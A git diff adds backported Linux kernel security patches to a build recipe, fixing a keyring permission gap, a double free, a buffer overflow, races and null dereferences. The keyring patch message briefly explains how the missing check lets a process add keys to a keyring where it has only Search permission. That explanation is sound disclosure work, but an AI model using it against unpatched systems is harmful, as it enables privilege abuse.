"default" request-key +keyring. This should require Write permission to the keyring. However, +there is actually no permission check. + +This can be abused to add keys to any keyring to which only Search +permission is granted. This is because Search permission allows joining +the keyring. keyctl_set_reqkey_keyring(KEY_REQKEY_DEFL_SESSION_KEYRING) +then will set the default request-key keyring to the session keyring. +Then, request_key() can be used to add keys to the keyring. + +Both negatively and positively instantiated keys can be added using this +method. Adding negative keys is trivial. Adding a positive key is a +bit trickier. It requires that either /sbin/request-key positively +instantiates the key, or that another thread adds the key to the process +keyring at just the right time, such that request_key() misses it +initially but then finds it in construct_alloc_key(). + +Fix this bug by checking for Write permission to the keyring in +construct_get_dest_keyring() when the default keyring is being used. + +We don't do the permission check for non-default keyrings because that +was already done by the earlier call to lookup_user_key(). Also, +request_key_and_link() is currently passed a 'struct key *' rather than +a key_ref_t, so the "possessed" bit is unavailable. + +We also don't do the permission check for the "requestor keyring", to +continue to support the use case described by commit 8bbf4976b59f +("KEYS: Alter use of key instantiation link-to-keyring argument") where +/sbin/request-key recursively calls request_key() to add keys to the +original requestor's destination keyring. (I don't know of any users +who actually do that, though...) + +Fixes: 3e30148c3d52 ("[PATCH] Keys: Make request-key create an authorisation key") +Signed-off-by: Eric Biggers +Signed-off-by: David Howells +Signed-off-by: Greg Kroah-Hartman +--- + security/keys/request_key.c | 46 ++++++++++++++++++++++++++++++++++++--------- + 1 file changed, 37 insertions(+), 9 deletions(-) + +diff --git a/security/keys/request_key.c b/security/keys/request_key.c +index 0c7aea4dea54d..6096be6232d7d 100644 +--- a/security/keys/request_key.c ++++ b/security/keys/request_key.c +@@ -250,11 +250,12 @@ static int construct_key(struct key *key, const void *callout_info, + * The keyring selected is returned with an extra reference upon it which the + * caller must release. + */ +-static void construct_get_dest_keyring(struct key **_dest_keyring) ++static int construct_get_dest_keyring(struct key **_dest_keyring) + { + struct request_key_auth *rka; + const struct cred *cred = current_cred(); + struct key *dest_keyring = *_dest_keyring, *authkey; ++ int ret; + + kenter("%p", dest_keyring); + +@@ -263,6 +264,8 @@ static void construct_get_dest_keyring(struct key **_dest_keyring) + /* the caller supplied one */ + key_get(dest_keyring); + } else { ++ bool do_perm_check = true; ++ + /* use a default keyring; falling through the cases until we + * find one that we actually have */ + switch (cred->jit_keyring) { +@@ -277,8 +280,10 @@ static void construct_get_dest_keyring(struct key **_dest_keyring) + dest_keyring = + key_get(rka->dest_keyring); + up_read(&authkey->sem); +- if (dest_keyring) ++ if (dest_keyring) { ++ do_perm_check = false; + break; ++ } + } + + case KEY_REQKEY_DEFL_THREAD_KEYRING: +@@ -313,11 +318,29 @@ static void construct_get_dest_keyring(struct key **_dest_keyring) + default: + BUG(); + } ++ ++ /* ++ * Require Write permission on the keyring. This is essential ++ * because the default keyring may be the session keyring, and ++ * joining a keyring only requires Search permission. ++ * ++ * However, this check is skipped for the "requestor keyring" so ++ * that /sbin/request-key can itself use request_key() to add ++ * keys to the original requestor's destination keyring. ++ */ ++ if (dest_keyring && do_perm_check) { ++ ret = key_permission(make_key_ref(dest_keyring, 1), ++ KEY_NEED_WRITE); ++ if (ret) { ++ key_put(dest_keyring); ++ return ret; ++ } ++ } + } + + *_dest_keyring = dest_keyring; + kleave(" [dk %d]", key_serial(dest_keyring)); +- return; ++ return 0; + } + + /* +@@ -439,11 +462,15 @@ static struct key *construct_key_and_link(struct keyring_search_context *ctx, + + kenter(""); + +- user = key_user_lookup(current_fsuid()); +- if (!user) +- return ERR_PTR(-ENOMEM); ++ ret = construct_get_dest_keyring(&dest_keyring); ++ if (ret) ++ goto error; + +- construct_get_dest_keyring(&dest_keyring); ++ user = key_user_lookup(current_fsuid()); ++ if (!user) { ++ ret = -ENOMEM; ++ goto error_put_dest_keyring; ++ } + + ret = construct_alloc_key(ctx, dest_keyring, flags, user, &key); + key_user_put(user); +@@ -458,7 +485,7 @@ static struct key *construct_key_and_link(struct keyring_search_context *ctx, + } else if (ret == -EINPROGRESS) { + ret = 0; + } else { +- goto couldnt_alloc_key; ++ goto error_put_dest_keyring; + } + + key_put(dest_keyring); +@@ -468,8 +495,9 @@ static struct key *construct_key_and_link(struct keyring_search_context *ctx, + construction_failed: + key_negate_and_link(key, key_negative_timeout, NULL, NULL); + key_put(key); +-couldnt_alloc_key: ++error_put_dest_keyring: + key_put(dest_keyring); ++error: + kleave(" = %d", ret); + return ERR_PTR(ret); + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0348-d22df065dae6-media usbtv prevent double free in error case.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0348-d22df065dae6-media usbtv prevent double free in error case.patch new file mode 100644 index 0000000..ce07467 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0348-d22df065dae6-media usbtv prevent double free in error case.patch @@ -0,0 +1,66 @@ +From d22df065dae66f6a892af8802961801deaa90356 Mon Sep 17 00:00:00 2001 +From: Oliver Neukum +Date: Mon, 8 Jan 2018 09:21:07 -0500 +Subject: media: usbtv: prevent double free in error case + +commit 50e7044535537b2a54c7ab798cd34c7f6d900bd2 upstream. + +Quoting the original report: + +It looks like there is a double-free vulnerability in Linux usbtv driver +on an error path of usbtv_probe function. When audio registration fails, +usbtv_video_free function ends up freeing usbtv data structure, which +gets freed the second time under usbtv_video_fail label. + +usbtv_audio_fail: + + usbtv_video_free(usbtv); => + + v4l2_device_put(&usbtv->v4l2_dev); + + => v4l2_device_put + + => kref_put + + => v4l2_device_release + + => usbtv_release (CALLBACK) + + => kfree(usbtv) (1st time) + +usbtv_video_fail: + + usb_set_intfdata(intf, NULL); + + usb_put_dev(usbtv->udev); + + kfree(usbtv); (2nd time) + +So, as we have refcounting, use it + +Reported-by: Yavuz, Tuba +Signed-off-by: Oliver Neukum +CC: stable@vger.kernel.org +Signed-off-by: Hans Verkuil +Signed-off-by: Mauro Carvalho Chehab +Signed-off-by: Greg Kroah-Hartman +--- + drivers/media/usb/usbtv/usbtv-core.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/drivers/media/usb/usbtv/usbtv-core.c b/drivers/media/usb/usbtv/usbtv-core.c +index 3bbc77aa6a33..483457d4904f 100644 +--- a/drivers/media/usb/usbtv/usbtv-core.c ++++ b/drivers/media/usb/usbtv/usbtv-core.c +@@ -95,6 +95,8 @@ static int usbtv_probe(struct usb_interface *intf, + return 0; + + usbtv_audio_fail: ++ /* we must not free at this point */ ++ usb_get_dev(usbtv->udev); + usbtv_video_free(usbtv); + + usbtv_video_fail: +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0349-f4549a698a53-netfilter xtTCPMSS add more sanity tests on tcphdoff.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0349-f4549a698a53-netfilter xtTCPMSS add more sanity tests on tcphdoff.patch new file mode 100644 index 0000000..600c3d4 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0349-f4549a698a53-netfilter xtTCPMSS add more sanity tests on tcphdoff.patch @@ -0,0 +1,49 @@ +From f4549a698a531c0014c62e40e521ffa030cf31e0 Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Mon, 3 Apr 2017 10:55:11 -0700 +Subject: netfilter: xt_TCPMSS: add more sanity tests on tcph->doff + +commit 2638fd0f92d4397884fd991d8f4925cb3f081901 upstream. + +Denys provided an awesome KASAN report pointing to an use +after free in xt_TCPMSS + +I have provided three patches to fix this issue, either in xt_TCPMSS or +in xt_tcpudp.c. It seems xt_TCPMSS patch has the smallest possible +impact. + +Signed-off-by: Eric Dumazet +Reported-by: Denys Fedoryshchenko +Signed-off-by: Pablo Neira Ayuso +Signed-off-by: Greg Kroah-Hartman +--- + net/netfilter/xt_TCPMSS.c | 6 +++++- + 1 file changed, 5 insertions(+), 1 deletion(-) + +diff --git a/net/netfilter/xt_TCPMSS.c b/net/netfilter/xt_TCPMSS.c +index e762de5ee89b..6531d7039b11 100644 +--- a/net/netfilter/xt_TCPMSS.c ++++ b/net/netfilter/xt_TCPMSS.c +@@ -104,7 +104,7 @@ tcpmss_mangle_packet(struct sk_buff *skb, + tcph = (struct tcphdr *)(skb_network_header(skb) + tcphoff); + tcp_hdrlen = tcph->doff * 4; + +- if (len < tcp_hdrlen) ++ if (len < tcp_hdrlen || tcp_hdrlen < sizeof(struct tcphdr)) + return -1; + + if (info->mss == XT_TCPMSS_CLAMP_PMTU) { +@@ -156,6 +156,10 @@ tcpmss_mangle_packet(struct sk_buff *skb, + if (len > tcp_hdrlen) + return 0; + ++ /* tcph->doff has 4 bits, do not wrap it to 0 */ ++ if (tcp_hdrlen >= 15 * 4) ++ return 0; ++ + /* + * MSS Option not found ?! add it.. + */ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0350-340d394a7895-Input i8042 fix crash at boot time.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0350-340d394a7895-Input i8042 fix crash at boot time.patch new file mode 100644 index 0000000..76773ae --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0350-340d394a7895-Input i8042 fix crash at boot time.patch @@ -0,0 +1,121 @@ +From 340d394a789518018f834ff70f7534fc463d3226 Mon Sep 17 00:00:00 2001 +From: Chen Hong +Date: Sun, 2 Jul 2017 15:11:10 -0700 +Subject: Input: i8042 - fix crash at boot time + +The driver checks port->exists twice in i8042_interrupt(), first when +trying to assign temporary "serio" variable, and second time when deciding +whether it should call serio_interrupt(). The value of port->exists may +change between the 2 checks, and we may end up calling serio_interrupt() +with a NULL pointer: + +BUG: unable to handle kernel NULL pointer dereference at 0000000000000050 +IP: [] _spin_lock_irqsave+0x1f/0x40 +PGD 0 +Oops: 0002 [#1] SMP +last sysfs file: +CPU 0 +Modules linked in: + +Pid: 1, comm: swapper Not tainted 2.6.32-358.el6.x86_64 #1 QEMU Standard PC (i440FX + PIIX, 1996) +RIP: 0010:[] [] _spin_lock_irqsave+0x1f/0x40 +RSP: 0018:ffff880028203cc0 EFLAGS: 00010082 +RAX: 0000000000010000 RBX: 0000000000000000 RCX: 0000000000000000 +RDX: 0000000000000282 RSI: 0000000000000098 RDI: 0000000000000050 +RBP: ffff880028203cc0 R08: ffff88013e79c000 R09: ffff880028203ee0 +R10: 0000000000000298 R11: 0000000000000282 R12: 0000000000000050 +R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000098 +FS: 0000000000000000(0000) GS:ffff880028200000(0000) knlGS:0000000000000000 +CS: 0010 DS: 0018 ES: 0018 CR0: 000000008005003b +CR2: 0000000000000050 CR3: 0000000001a85000 CR4: 00000000001407f0 +DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 +DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 +Process swapper (pid: 1, threadinfo ffff88013e79c000, task ffff88013e79b500) +Stack: +ffff880028203d00 ffffffff813de186 ffffffffffffff02 0000000000000000 + 0000000000000000 0000000000000000 0000000000000000 0000000000000098 + ffff880028203d70 ffffffff813e0162 ffff880028203d20 ffffffff8103b8ac +Call Trace: + + [] serio_interrupt+0x36/0xa0 +[] i8042_interrupt+0x132/0x3a0 +[] ? kvm_clock_read+0x1c/0x20 +[] ? kvm_clock_get_cycles+0x9/0x10 +[] handle_IRQ_event+0x60/0x170 +[] ? kvm_guest_apic_eoi_write+0x44/0x50 +[] handle_edge_irq+0xde/0x180 +[] handle_irq+0x49/0xa0 +[] do_IRQ+0x6c/0xf0 +[] ret_from_intr+0x0/0x11 +[] ? __do_softirq+0x73/0x1e0 +[] ? hrtimer_interrupt+0x14b/0x260 +[] ? call_softirq+0x1c/0x30 +[] ? do_softirq+0x65/0xa0 +[] ? irq_exit+0x85/0x90 +[] ? smp_apic_timer_interrupt+0x70/0x9b +[] ? apic_timer_interrupt+0x13/0x20 + +To avoid the issue let's change the second check to test whether serio is +NULL or not. + +Also, let's take i8042_lock in i8042_start() and i8042_stop() instead of +trying to be overly smart and using memory barriers. + +Signed-off-by: Chen Hong +[dtor: take lock in i8042_start()/i8042_stop()] +Cc: stable@vger.kernel.org +Signed-off-by: Dmitry Torokhov +--- + drivers/input/serio/i8042.c | 12 +++++++++--- + 1 file changed, 9 insertions(+), 3 deletions(-) + +diff --git a/drivers/input/serio/i8042.c b/drivers/input/serio/i8042.c +index c52da651269b..824f4c1c1f31 100644 +--- a/drivers/input/serio/i8042.c ++++ b/drivers/input/serio/i8042.c +@@ -436,8 +436,10 @@ static int i8042_start(struct serio *serio) + { + struct i8042_port *port = serio->port_data; + ++ spin_lock_irq(&i8042_lock); + port->exists = true; +- mb(); ++ spin_unlock_irq(&i8042_lock); ++ + return 0; + } + +@@ -450,16 +452,20 @@ static void i8042_stop(struct serio *serio) + { + struct i8042_port *port = serio->port_data; + ++ spin_lock_irq(&i8042_lock); + port->exists = false; ++ port->serio = NULL; ++ spin_unlock_irq(&i8042_lock); + + /* ++ * We need to make sure that interrupt handler finishes using ++ * our serio port before we return from this function. + * We synchronize with both AUX and KBD IRQs because there is + * a (very unlikely) chance that AUX IRQ is raised for KBD port + * and vice versa. + */ + synchronize_irq(I8042_AUX_IRQ); + synchronize_irq(I8042_KBD_IRQ); +- port->serio = NULL; + } + + /* +@@ -576,7 +582,7 @@ static irqreturn_t i8042_interrupt(int irq, void *dev_id) + + spin_unlock_irqrestore(&i8042_lock, flags); + +- if (likely(port->exists && !filtered)) ++ if (likely(serio && !filtered)) + serio_interrupt(serio, data, dfl); + + out: +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0351-401dce7cfdfe-input touchscreen fix buffer overflow issue in synaptics driver.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0351-401dce7cfdfe-input touchscreen fix buffer overflow issue in synaptics driver.patch new file mode 100644 index 0000000..a521ee1 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0351-401dce7cfdfe-input touchscreen fix buffer overflow issue in synaptics driver.patch @@ -0,0 +1,36 @@ +From 401dce7cfdfea999a5209e52371beca9423452b7 Mon Sep 17 00:00:00 2001 +From: Shantanu Jain +Date: Mon, 6 Mar 2017 19:14:09 +0530 +Subject: input: touchscreen: fix buffer overflow issue in synaptics driver + +Fix buffer overflow issue in synaptics touch driver while copying +the contents of "strptr" into "firmware_id". This code change is +meant to fix the same. + +Change-Id: I8ea96af558eff540a37fb8e7da730c74502622aa +Signed-off-by: Shantanu Jain +--- + drivers/input/touchscreen/synaptics_dsx_2.6/synaptics_dsx_fw_update.c | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +diff --git a/drivers/input/touchscreen/synaptics_dsx_2.6/synaptics_dsx_fw_update.c b/drivers/input/touchscreen/synaptics_dsx_2.6/synaptics_dsx_fw_update.c +index 52bd5cf..168318f 100644 +--- a/drivers/input/touchscreen/synaptics_dsx_2.6/synaptics_dsx_fw_update.c ++++ b/drivers/input/touchscreen/synaptics_dsx_2.6/synaptics_dsx_fw_update.c +@@ -2218,10 +2218,12 @@ static int fwu_get_image_firmware_id(unsigned int *fw_id) + __func__); + return -ENOMEM; + } +- while (strptr[index] >= '0' && strptr[index] <= '9') { ++ while ((index < MAX_FIRMWARE_ID_LEN - 1) && strptr[index] >= '0' ++ && strptr[index] <= '9') { + firmware_id[index] = strptr[index]; + index++; + } ++ firmware_id[index] = '\0'; + + retval = sstrtoul(firmware_id, 10, (unsigned long *)fw_id); + kfree(firmware_id); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0352-1fd3d3d27671-msm mdss Add check to fix null pointer dereference.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0352-1fd3d3d27671-msm mdss Add check to fix null pointer dereference.patch new file mode 100644 index 0000000..7ac644e --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0352-1fd3d3d27671-msm mdss Add check to fix null pointer dereference.patch @@ -0,0 +1,34 @@ +From 1fd3d3d27671c9945522d31225724eb924495c24 Mon Sep 17 00:00:00 2001 +From: Krishna Manikandan +Date: Fri, 18 Nov 2016 16:09:19 +0530 +Subject: msm: mdss: Add check to fix null pointer dereference + +In mdss_mdp_overlay_kickoff, the mixer_left can be accessed +without checking whether it is allocated or not which can +result in null pointer dereference. This is fixed +by adding a check to decide if mixer_left is NULL or not. + +CRs-Fixed: 1070611 + +Change-Id: I4b5c71de1a568ba9a39a4e84bde4bf03a044ed7c +Signed-off-by: Krishna Manikandan +--- + drivers/video/msm/mdss/mdss_mdp_overlay.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/video/msm/mdss/mdss_mdp_overlay.c b/drivers/video/msm/mdss/mdss_mdp_overlay.c +index 6a66d81..2481c78 100644 +--- a/drivers/video/msm/mdss/mdss_mdp_overlay.c ++++ b/drivers/video/msm/mdss/mdss_mdp_overlay.c +@@ -1899,7 +1899,7 @@ int mdss_mdp_overlay_kickoff(struct msm_fb_data_type *mfd, + int sd_in_pipe = 0; + struct mdss_mdp_commit_cb commit_cb; + +- if (!ctl) ++ if (!ctl || !ctl->mixer_left) + return -ENODEV; + + ATRACE_BEGIN(__func__); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0353-0d5d87098926-ASoC qdsp6v2 prevent null pointer dereference for volcmds.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0353-0d5d87098926-ASoC qdsp6v2 prevent null pointer dereference for volcmds.patch new file mode 100644 index 0000000..919aa36 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0353-0d5d87098926-ASoC qdsp6v2 prevent null pointer dereference for volcmds.patch @@ -0,0 +1,34 @@ +From 0d5d87098926b7e9501529556cd90e4fd8ca189d Mon Sep 17 00:00:00 2001 +From: Xiaojun Sang +Date: Wed, 16 Nov 2016 15:10:20 +0800 +Subject: ASoC: qdsp6v2: prevent null pointer dereference for _vol_cmds + +In case of memory allocation failure, _vol_cmd_cnt is not reset. +In _volume_cmds_free, null pointer dereference would happen for +_vol_cmds[i]. +To prevent it, reset _vol_cmd_cnt when memory allocation fails. + +CRs-Fixed: 1089598 +Change-Id: Icb998549cdb999c6db2fd52aef505f200e630da5 +Signed-off-by: Xiaojun Sang +--- + sound/soc/msm/qdsp6v2/msm-dts-eagle.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/sound/soc/msm/qdsp6v2/msm-dts-eagle.c b/sound/soc/msm/qdsp6v2/msm-dts-eagle.c +index 7a23a17..dfa4bb2 100644 +--- a/sound/soc/msm/qdsp6v2/msm-dts-eagle.c ++++ b/sound/soc/msm/qdsp6v2/msm-dts-eagle.c +@@ -234,7 +234,8 @@ static s32 _volume_cmds_alloc1(s32 size) + if (_vol_cmds) { + _vol_cmds_d = kzalloc(_vol_cmd_cnt * sizeof(struct vol_cmds_d), + GFP_KERNEL); +- } ++ } else ++ _vol_cmd_cnt = 0; + if (_vol_cmds_d) + return 0; + _volume_cmds_free(); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0354-84cc7b5d26c1-dm fix race between dmgetfromkobject and dmdestroy.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0354-84cc7b5d26c1-dm fix race between dmgetfromkobject and dmdestroy.patch new file mode 100644 index 0000000..751bf9a --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0354-84cc7b5d26c1-dm fix race between dmgetfromkobject and dmdestroy.patch @@ -0,0 +1,74 @@ +From 84cc7b5d26c17384f29b25a1ba4d42e2e820043a Mon Sep 17 00:00:00 2001 +From: Hou Tao +Date: Wed, 1 Nov 2017 15:42:36 +0800 +Subject: dm: fix race between dm_get_from_kobject() and __dm_destroy() + +commit b9a41d21dceadf8104812626ef85dc56ee8a60ed upstream. + +The following BUG_ON was hit when testing repeat creation and removal of +DM devices: + + kernel BUG at drivers/md/dm.c:2919! + CPU: 7 PID: 750 Comm: systemd-udevd Not tainted 4.1.44 + Call Trace: + [] dm_get_from_kobject+0x34/0x3a + [] dm_attr_show+0x2b/0x5e + [] ? mutex_lock+0x26/0x44 + [] sysfs_kf_seq_show+0x83/0xcf + [] kernfs_seq_show+0x23/0x25 + [] seq_read+0x16f/0x325 + [] kernfs_fop_read+0x3a/0x13f + [] __vfs_read+0x26/0x9d + [] ? security_file_permission+0x3c/0x44 + [] ? rw_verify_area+0x83/0xd9 + [] vfs_read+0x8f/0xcf + [] ? __fdget_pos+0x12/0x41 + [] SyS_read+0x4b/0x76 + [] system_call_fastpath+0x12/0x71 + +The bug can be easily triggered, if an extra delay (e.g. 10ms) is added +between the test of DMF_FREEING & DMF_DELETING and dm_get() in +dm_get_from_kobject(). + +To fix it, we need to ensure the test of DMF_FREEING & DMF_DELETING and +dm_get() are done in an atomic way, so _minor_lock is used. + +The other callers of dm_get() have also been checked to be OK: some +callers invoke dm_get() under _minor_lock, some callers invoke it under +_hash_lock, and dm_start_request() invoke it after increasing +md->open_count. + +Signed-off-by: Hou Tao +Signed-off-by: Mike Snitzer +Signed-off-by: Greg Kroah-Hartman +--- + drivers/md/dm.c | 12 ++++++++---- + 1 file changed, 8 insertions(+), 4 deletions(-) + +diff --git a/drivers/md/dm.c b/drivers/md/dm.c +index fb07be3862879..1d08dc6fa0b58 100644 +--- a/drivers/md/dm.c ++++ b/drivers/md/dm.c +@@ -3033,11 +3033,15 @@ struct mapped_device *dm_get_from_kobject(struct kobject *kobj) + + md = container_of(kobj, struct mapped_device, kobj_holder.kobj); + +- if (test_bit(DMF_FREEING, &md->flags) || +- dm_deleting_md(md)) +- return NULL; +- ++ spin_lock(&_minor_lock); ++ if (test_bit(DMF_FREEING, &md->flags) || dm_deleting_md(md)) { ++ md = NULL; ++ goto out; ++ } + dm_get(md); ++out: ++ spin_unlock(&_minor_lock); ++ + return md; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0355-f72e2ba19765-ocfs2 should wait dio before inode lock in ocfs2setattr.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0355-f72e2ba19765-ocfs2 should wait dio before inode lock in ocfs2setattr.patch new file mode 100644 index 0000000..c830b69 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0355-f72e2ba19765-ocfs2 should wait dio before inode lock in ocfs2setattr.patch @@ -0,0 +1,84 @@ +From f72e2ba19765ec94ab1b704bce53c3d1ca13202e Mon Sep 17 00:00:00 2001 +From: alex chen +Date: Wed, 15 Nov 2017 17:31:40 -0800 +Subject: ocfs2: should wait dio before inode lock in ocfs2_setattr() + +commit 28f5a8a7c033cbf3e32277f4cc9c6afd74f05300 upstream. + +we should wait dio requests to finish before inode lock in +ocfs2_setattr(), otherwise the following deadlock will happen: + +process 1 process 2 process 3 +truncate file 'A' end_io of writing file 'A' receiving the bast messages +ocfs2_setattr + ocfs2_inode_lock_tracker + ocfs2_inode_lock_full + inode_dio_wait + __inode_dio_wait + -->waiting for all dio + requests finish + dlm_proxy_ast_handler + dlm_do_local_bast + ocfs2_blocking_ast + ocfs2_generic_handle_bast + set OCFS2_LOCK_BLOCKED flag + dio_end_io + dio_bio_end_aio + dio_complete + ocfs2_dio_end_io + ocfs2_dio_end_io_write + ocfs2_inode_lock + __ocfs2_cluster_lock + ocfs2_wait_for_mask + -->waiting for OCFS2_LOCK_BLOCKED + flag to be cleared, that is waiting + for 'process 1' unlocking the inode lock + inode_dio_end + -->here dec the i_dio_count, but will never + be called, so a deadlock happened. + +Link: http://lkml.kernel.org/r/59F81636.70508@huawei.com +Signed-off-by: Alex Chen +Reviewed-by: Jun Piao +Reviewed-by: Joseph Qi +Acked-by: Changwei Ge +Cc: Mark Fasheh +Cc: Joel Becker +Cc: Junxiao Bi +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + fs/ocfs2/file.c | 9 +++++++-- + 1 file changed, 7 insertions(+), 2 deletions(-) + +diff --git a/fs/ocfs2/file.c b/fs/ocfs2/file.c +index 2adcb9876e91b..6c6fa10a82caf 100644 +--- a/fs/ocfs2/file.c ++++ b/fs/ocfs2/file.c +@@ -1151,6 +1151,13 @@ int ocfs2_setattr(struct dentry *dentry, struct iattr *attr) + dquot_initialize(inode); + size_change = S_ISREG(inode->i_mode) && attr->ia_valid & ATTR_SIZE; + if (size_change) { ++ /* ++ * Here we should wait dio to finish before inode lock ++ * to avoid a deadlock between ocfs2_setattr() and ++ * ocfs2_dio_end_io_write() ++ */ ++ inode_dio_wait(inode); ++ + status = ocfs2_rw_lock(inode, 1); + if (status < 0) { + mlog_errno(status); +@@ -1170,8 +1177,6 @@ int ocfs2_setattr(struct dentry *dentry, struct iattr *attr) + if (status) + goto bail_unlock; + +- inode_dio_wait(inode); +- + if (i_size_read(inode) >= attr->ia_size) { + if (ocfs2_should_order_data(inode)) { + status = ocfs2_begin_ordered_truncate(inode, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0356.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0356.diff new file mode 100644 index 0000000..e33c7bc --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0356.diff @@ -0,0 +1,158 @@ +diff --git a/fs/ocfs2/cluster/nodemanager.c b/fs/ocfs2/cluster/nodemanager.c +index 059414b..1e088df 100644 +--- a/fs/ocfs2/cluster/nodemanager.c ++++ b/fs/ocfs2/cluster/nodemanager.c +@@ -40,6 +40,9 @@ + "panic", /* O2NM_FENCE_PANIC */ + }; + ++static inline void o2nm_lock_subsystem(void); ++static inline void o2nm_unlock_subsystem(void); ++ + struct o2nm_node *o2nm_get_node_by_num(u8 node_num) + { + struct o2nm_node *node = NULL; +@@ -181,7 +184,10 @@ + { + /* through the first node_set .parent + * mycluster/nodes/mynode == o2nm_cluster->o2nm_node_group->o2nm_node */ +- return to_o2nm_cluster(node->nd_item.ci_parent->ci_parent); ++ if (node->nd_item.ci_parent) ++ return to_o2nm_cluster(node->nd_item.ci_parent->ci_parent); ++ else ++ return NULL; + } + + enum { +@@ -194,7 +200,7 @@ + static ssize_t o2nm_node_num_write(struct o2nm_node *node, const char *page, + size_t count) + { +- struct o2nm_cluster *cluster = to_o2nm_cluster_from_node(node); ++ struct o2nm_cluster *cluster; + unsigned long tmp; + char *p = (char *)page; + +@@ -213,6 +219,13 @@ + !test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes)) + return -EINVAL; /* XXX */ + ++ o2nm_lock_subsystem(); ++ cluster = to_o2nm_cluster_from_node(node); ++ if (!cluster) { ++ o2nm_unlock_subsystem(); ++ return -EINVAL; ++ } ++ + write_lock(&cluster->cl_nodes_lock); + if (cluster->cl_nodes[tmp]) + p = NULL; +@@ -224,6 +237,7 @@ + write_unlock(&cluster->cl_nodes_lock); + if (p == NULL) + return -EEXIST; ++ o2nm_unlock_subsystem(); + + return count; + } +@@ -261,7 +275,7 @@ + const char *page, + size_t count) + { +- struct o2nm_cluster *cluster = to_o2nm_cluster_from_node(node); ++ struct o2nm_cluster *cluster; + int ret, i; + struct rb_node **p, *parent; + unsigned int octets[4]; +@@ -278,6 +292,13 @@ + be32_add_cpu(&ipv4_addr, octets[i] << (i * 8)); + } + ++ o2nm_lock_subsystem(); ++ cluster = to_o2nm_cluster_from_node(node); ++ if (!cluster) { ++ o2nm_unlock_subsystem(); ++ return -EINVAL; ++ } ++ + ret = 0; + write_lock(&cluster->cl_nodes_lock); + if (o2nm_node_ip_tree_lookup(cluster, ipv4_addr, &p, &parent)) +@@ -287,6 +308,8 @@ + rb_insert_color(&node->nd_ip_node, &cluster->cl_node_ip_tree); + } + write_unlock(&cluster->cl_nodes_lock); ++ o2nm_unlock_subsystem(); ++ + if (ret) + return ret; + +@@ -303,7 +326,7 @@ + static ssize_t o2nm_node_local_write(struct o2nm_node *node, const char *page, + size_t count) + { +- struct o2nm_cluster *cluster = to_o2nm_cluster_from_node(node); ++ struct o2nm_cluster *cluster; + unsigned long tmp; + char *p = (char *)page; + ssize_t ret; +@@ -321,17 +344,26 @@ + !test_bit(O2NM_NODE_ATTR_PORT, &node->nd_set_attributes)) + return -EINVAL; /* XXX */ + ++ o2nm_lock_subsystem(); ++ cluster = to_o2nm_cluster_from_node(node); ++ if (!cluster) { ++ ret = -EINVAL; ++ goto out; ++ } ++ + /* the only failure case is trying to set a new local node + * when a different one is already set */ + if (tmp && tmp == cluster->cl_has_local && +- cluster->cl_local_node != node->nd_num) +- return -EBUSY; ++ cluster->cl_local_node != node->nd_num) { ++ ret = -EBUSY; ++ goto out; ++ } + + /* bring up the rx thread if we're setting the new local node. */ + if (tmp && !cluster->cl_has_local) { + ret = o2net_start_listening(node); + if (ret) +- return ret; ++ goto out; + } + + if (!tmp && cluster->cl_has_local && +@@ -346,7 +378,11 @@ + cluster->cl_local_node = node->nd_num; + } + +- return count; ++ ret = count; ++ ++out: ++ o2nm_unlock_subsystem(); ++ return ret; + } + + struct o2nm_node_attribute { +@@ -891,6 +927,16 @@ + }, + }; + ++static inline void o2nm_lock_subsystem(void) ++{ ++ mutex_lock(&o2nm_cluster_group.cs_subsys.su_mutex); ++} ++ ++static inline void o2nm_unlock_subsystem(void) ++{ ++ mutex_unlock(&o2nm_cluster_group.cs_subsys.su_mutex); ++} ++ + int o2nm_depend_item(struct config_item *item) + { + return configfs_depend_item(&o2nm_cluster_group.cs_subsys, item); diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0357-aef16f4c9831-mlock fix mlock count can not decrease in race condition.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0357-aef16f4c9831-mlock fix mlock count can not 